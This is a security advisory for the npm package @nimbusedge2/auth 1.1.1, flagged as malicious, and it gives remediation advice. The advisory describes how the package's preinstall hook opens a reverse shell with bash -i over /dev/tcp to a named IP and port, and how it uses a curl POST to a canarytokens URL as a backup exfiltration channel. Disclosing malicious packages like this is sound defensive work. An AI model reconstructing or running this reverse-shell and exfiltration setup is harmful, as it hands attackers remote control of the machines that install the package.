@nimbusedge2/auth

GHSA-9hmg-mp2c-g9wr

Malicious code in @nimbusedge2/auth (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.1.1`

## Source: amazon-inspector (00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba)
@nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs `bash -i` with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that host as the installing user. The same script pipes the shell session through `curl -s -m 5 -X POST --data-binary @-` to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, providing a secondary HTTP beacon/exfil channel for environments where outbound raw TCP is blocked but HTTP egress is permitted. The package contains no other code, no library functionality, and no legitimate build purpose; installing it grants arbitrary remote command execution on the installer's machine at `npm install` time.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/5f0495009882359c4fb90f43d4c686a809dd861a/osv/malicious/npm/@nimbusedge2/auth/MAL-2026-16302.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/5f0495009882359c4fb90f43d4c686a809dd861a/osv/malicious/npm/@nimbusedge2/auth/MAL-2026-16302.json
- https://www.npmjs.com/package/@nimbusedge2/auth/v/1.1.1
- https://github.com/advisories/GHSA-9hmg-mp2c-g9wr

Compromised versions (1)

= 1.1.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.